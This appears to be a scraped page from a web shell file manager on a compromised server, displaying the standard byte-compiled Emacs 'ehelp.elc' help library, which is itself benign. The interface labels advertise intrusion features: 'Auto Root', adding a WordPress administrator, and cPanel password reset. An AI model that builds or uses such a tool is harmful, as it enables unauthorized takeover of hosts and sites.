Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
share
emacs
27.2
lisp
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: ehelp.elc
;ELC ;;; Compiled ;;; in Emacs version 27.2 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (require 'electric) (defvar electric-help-form-to-execute nil) (byte-code "\300\301\302\303\304\305\306\307&\210\310\311\312\313\314DD\315\316\317\306\301&\210\310\320\312\313\321DD\322\316\323\306\301&\210\324\325\326\327#\207" [custom-declare-group electric-help nil "Electric help facility." :version "21.1" :group help custom-declare-variable electric-help-shrink-window funcall function #[0 "\300\207" [t] 1] "If set, adjust help window sizes to buffer sizes when displaying help." :type boolean electric-help-mode-hook #[0 "\300\207" [nil] 1] "Hook run by `with-electric-help' after initializing the buffer." hook put electric-help-undefined suppress-keymap t] 8) #@61 Keymap defining commands available in `electric-help-mode'. (defvar electric-help-map (byte-code "\302 \303\"\210\304!\210\305\306\307#\210\305\310\307#\210\305\311\307#\210\305\312\307#\210\305\313\307#\210\305\314\307#\210\305\315\307#\210\305\316\307#\210\305\317\307#\210\305\320\307#\210\305\321\307#\210\305\322 !\323#\210\305\324\323#\210\305\325\326#\210\305\327\330#\210\305\331\330#\210\305\332\333#\210\305\334\333#\210\305\335\336#\210\305\337\340#\210\305\341\340#\210\305\342\343#\210\305\344\343#\210\305\345\346#\210\305\347\350#\210\211\207" [button-buffer-map help-char make-keymap set-keymap-parent suppress-keymap define-key "" electric-help-undefined [67108912] [67108913] [67108914] [67108915] [67108916] [67108917] [67108918] [67108919] [67108920] [67108921] char-to-string electric-help-help "?" " " scroll-up [33554464] scroll-down "" "." beginning-of-buffer "<" ">" end-of-buffer "Q" electric-help-exit "q" "R" electric-help-retain "r" "x" electric-help-execute-extended "" electric-help-ctrl-x-prefix] 5) (#$ . 1081)) (defvar electric-help-orig-major-mode nil) (make-variable-buffer-local 'electric-help-orig-major-mode) #@142 `with-electric-help' temporarily places its buffer in this mode. (On exit from `with-electric-help', the original `major-mode' is restored.) (defalias 'electric-help-mode #[0 "\306 \307\310\311\312 !\210\313\314\315\"\210\316\317!\207" [buffer-read-only major-mode electric-help-orig-major-mode mode-name mode-line-buffer-identification electric-help-map t "Help" help-mode (" Help: %b") use-local-map add-hook mouse-leave-buffer-hook electric-help-retain view-mode -1] 3 (#$ . 2268)]) #@1169 Pop up an "electric" help buffer. THUNK is a function of no arguments which is called to initialize the contents of BUFFER. BUFFER defaults to `*Help*'. BUFFER will be erased before THUNK is called unless NOERASE is non-nil. THUNK will be called while BUFFER is current and with `standard-output' bound to the buffer specified by BUFFER. If THUNK returns nil, we display BUFFER starting at the top, and shrink the window to fit. If THUNK returns non-nil, we don't do those things. After THUNK has been called, this function "electrically" pops up a window in which BUFFER is displayed and allows the user to scroll through that buffer in `electric-help-mode'. The window's height will be at least MINHEIGHT if this value is non-nil. If THUNK returns nil, we display BUFFER starting at the top, and shrink the window to fit if `electric-help-shrink-window' is non-nil. If THUNK returns non-nil, we don't do those things. When the user exits (with `electric-help-exit', or otherwise), the help buffer's window disappears (i.e., we use `save-window-excursion'), and BUFFER is put back into its original major mode. (fn THUNK &optional BUFFER NOERASE MINHEIGHT) (defalias 'with-electric-help #[1025 "C\211\306\242\206\n \307!\240\210\310\311!\312 C\313C\313\314\315\316\317\320#\321\"\322$\216\212\2031 \323 b\210\311\324\242!\210)r\242q\210\203P \325 W\203P \326\325 Z!\210\327 \210\313\204\\ \330 \210)\242 \204| \242q\210\331\313!\210eb\210\203| \f\203| \332 \210)\242q\210\333\334!\210\311\335 \242\336=\203\227 \312 \240\210\202\233 \211\311\240\210\337 >\205\245 \340\305\337\"+\266\203\207" [electric-help-form-to-execute pop-up-windows buffer-read-only standard-output electric-help-shrink-window mouse-leave-buffer-hook get-buffer-create "*Help*" one-window-p t current-window-configuration nil make-byte-code 0 "\306\307!\210\300\242q\210\310\3111 \f\206 \312 0\202 \210\202 \210\313\301\242!\210\302\242\2031 \314\300\242!\210\315\300\242!\210\316 !\203: \207\317 !\207" vconcat vector [buffer-read-only electric-help-orig-major-mode electric-help-form-to-execute message "" nil (error) fundamental-mode set-window-configuration replace-buffer-in-windows bury-buffer functionp eval] 2 window-start pop-to-buffer window-height enlarge-window electric-help-mode erase-buffer set-buffer-modified-p shrink-window-if-larger-than-buffer run-hooks electric-help-mode-hook electric-help-command-loop retain electric-help-retain remove-hook] 16 (#$ . 2768)]) (defalias 'electric-help-command-loop #[0 "\3012n \302d!\203& \303\304\305\306!\"\210\307 \211\310\232\203! \311\301\312\"\210\202% \211B\210\313C\313C\313C\313C\314\315\313\312#\316=\205S \314\317\313\312#\320=\205S \314\321\313\312#\322=\205S \314\323\313\312#\324=\325\301\326\327\330\331\332 %\333\"\334$\312#\266\2050\207" [unread-command-events exit pos-visible-in-window-p message "%s" substitute-command-keys "<<< Press Space to bury the help buffer, Press \\[electric-help-retain] to retain it >>>" read-event 32 throw t nil key-binding " " scroll-up "" scroll-down "q" electric-help-exit "r" electric-help-retain Electric-command-loop make-byte-code 0 "\306\307!\210\310e!\310dS! \203 \311\202t \2030 \211\2030 \304\203# \312\202t \303\242\206t \303\313\314!\240\202t \203I \304\203< \315\202t \300\242\206t \300\313\316!\240\202t \211\203b \304\203U \317\202t \301\242\206t \301\313\320!\240\202t \304\203j \321\202t \302\242\206t \302\313\322!\240\207" vconcat vector [isearch-mode sit-for 0 pos-visible-in-window-p noprompt "Press q to exit, r to retain " substitute-command-keys "Press \\[electric-help-exit] to exit, \\[electric-help-retain] to retain " "Press SPC to scroll, q to exit, r to retain " "Press \\[scroll-up] to scroll, \\[electric-help-exit] to exit, \\[electric-help-retain] to retain " "Press DEL to scroll back, q to exit, r to retain " "Press \\[scroll-down] to scroll back, \\[electric-help-exit] to exit, \\[electric-help-retain] to retain " "Press SPC to scroll, DEL to scroll back, q to exit, r to retain " "Press \\[scroll-up] to scroll, \\[scroll-down] to scroll back, \\[electric-help-exit] to exit, \\[electric-help-retain] to retain "] 5] 17]) #@116 Exit `with-electric-help', restoring the previous window/buffer configuration. (The *Help* buffer will be buried.) (defalias 'electric-help-exit #[0 "\301>\205 \302\300\301\"\210\303\304\305\"\207" [mouse-leave-buffer-hook electric-help-retain remove-hook throw exit t] 3 (#$ . 6977) nil]) #@178 Exit `with-electric-help', retaining the current window/buffer configuration. (The *Help* buffer will not be selected, but \[switch-to-buffer-other-window] RET will select it.) (defalias 'electric-help-retain #[0 "\301>\205 \302\300\301\"\210\303\304\305\"\207" [mouse-leave-buffer-hook electric-help-retain remove-hook throw exit (retain)] 3 (#$ . 7276) nil]) (defalias 'electric-help-undefined #[0 "\300\301\302\303\304 \305#\306\307\310\311#\312=\203 \307\202 \313\314!#\207" [error "%s is undefined -- Press %s to exit" mapconcat single-key-description this-command-keys " " key-binding "q" nil t electric-help-exit substitute-command-keys "\\[electric-help-exit]"] 7 nil nil]) (defalias 'electric-help-help #[0 "\300\301\302\303#\304=\203/ \300\305\302\303#\306=\203/ \300\307\302\303#\310=\203/ \300\311\302\303#\312=\203/ \313\314!\210\2026 \313\315\316\317!\"\210\320\321!\207" [key-binding "q" nil t electric-help-exit " " scroll-up "" scroll-down "r" electric-help-retain message "SPC scrolls up, DEL scrolls down, q exits burying help buffer, r exits" "%s" substitute-command-keys "\\[scroll-up] scrolls up, \\[scroll-down] scrolls down, \\[electric-help-exit] exits burying help buffer, \\[electric-help-retain] exits" sit-for 2] 4 nil nil]) #@27 (fn FUN &optional NAME) (defalias 'electric-helpify #[513 "\211\206 \300\301 \302\303\304\305\306!\307\"\310$\216\311K\312!C\313\242!\242\203- \314\242!\204- \315\240\210\302\303\316\305\306#\317\"\310$\216\320\321\322\323\n!!\"\210\242\203W r\242q\210\324\325!\210)\311\326M\210\327!\210\312!\205\205 \314\312!!\205\205 \242?\206\205 \242\312!=?\206\205 \313\242!?)\266\203)\262\205\223 \330\326\325#\207" ["*Help*" current-window-configuration make-byte-code 0 "\301\300!\207" vconcat vector [set-window-configuration] 2 help-print-return-message get-buffer buffer-modified-p get-buffer-window nil "\303\300M\210\301\242\205 \304\301\242!\205 r\301\242q\210\305\302!)\207" [help-print-return-message buffer-name set-buffer-modified-p] message "%s..." capitalize symbol-name set-buffer-modified-p t ignore call-interactively with-electric-help] 15 (#$ . 8541)]) #@18 (fn PREFIXARG) (defalias 'electric-help-execute-extended #[257 "\301\302 \207" [electric-help-form-to-execute #[0 "\300\301!\207" [execute-extended-command nil] 2] electric-help-retain] 2 (#$ . 9442) "p"]) #@18 (fn PREFIXARG) (defalias 'electric-help-ctrl-x-prefix #[257 "\301\302 \207" [electric-help-form-to-execute #[0 "\301\302!\210\303\304\"\211\207" [unread-command-events message nil append (24)] 3] electric-help-retain] 2 (#$ . 9657) "p"]) (defalias 'electric-describe-key #[0 "\300\301!\207" [electric-helpify describe-key] 2 nil nil]) (defalias 'electric-describe-mode #[0 "\300\301!\207" [electric-helpify describe-mode] 2 nil nil]) (defalias 'electric-view-lossage #[0 "\300\301!\207" [electric-helpify view-lossage] 2 nil nil]) (defalias 'electric-describe-function #[0 "\300\301!\207" [electric-helpify describe-function] 2 nil nil]) (defalias 'electric-describe-variable #[0 "\300\301!\207" [electric-helpify describe-variable] 2 nil nil]) (defalias 'electric-describe-bindings #[0 "\300\301!\207" [electric-helpify describe-bindings] 2 nil nil]) (defalias 'electric-describe-syntax #[0 "\300\301!\207" [electric-helpify describe-syntax] 2 nil nil]) (defalias 'electric-command-apropos #[0 "\300\301\302\"\207" [electric-helpify command-apropos "*Apropos*"] 3 nil nil]) (defalias 'electric-apropos #[0 "\300\301!\207" [electric-helpify apropos] 2 nil nil]) (defvar ehelp-map (byte-code "\301!\302\303\304#\210\302\305\306#\210\302\307\310#\210\302\311\312#\210\302\313\314#\210\302\315\316#\210\302\317\320#\210\302\321\322#\210\302\323\324#\210\211\207" [help-map copy-keymap substitute-key-definition apropos electric-apropos command-apropos electric-command-apropos describe-key electric-describe-key describe-mode electric-describe-mode view-lossage electric-view-lossage describe-function electric-describe-function describe-variable electric-describe-variable describe-bindings electric-describe-bindings describe-syntax electric-describe-syntax] 5)) (byte-code "\301\302\"\210\303\302\304\305#\210\306\307!\207" [ehelp-map defalias ehelp-command put documentation "Prefix command for ehelp." provide ehelp] 4)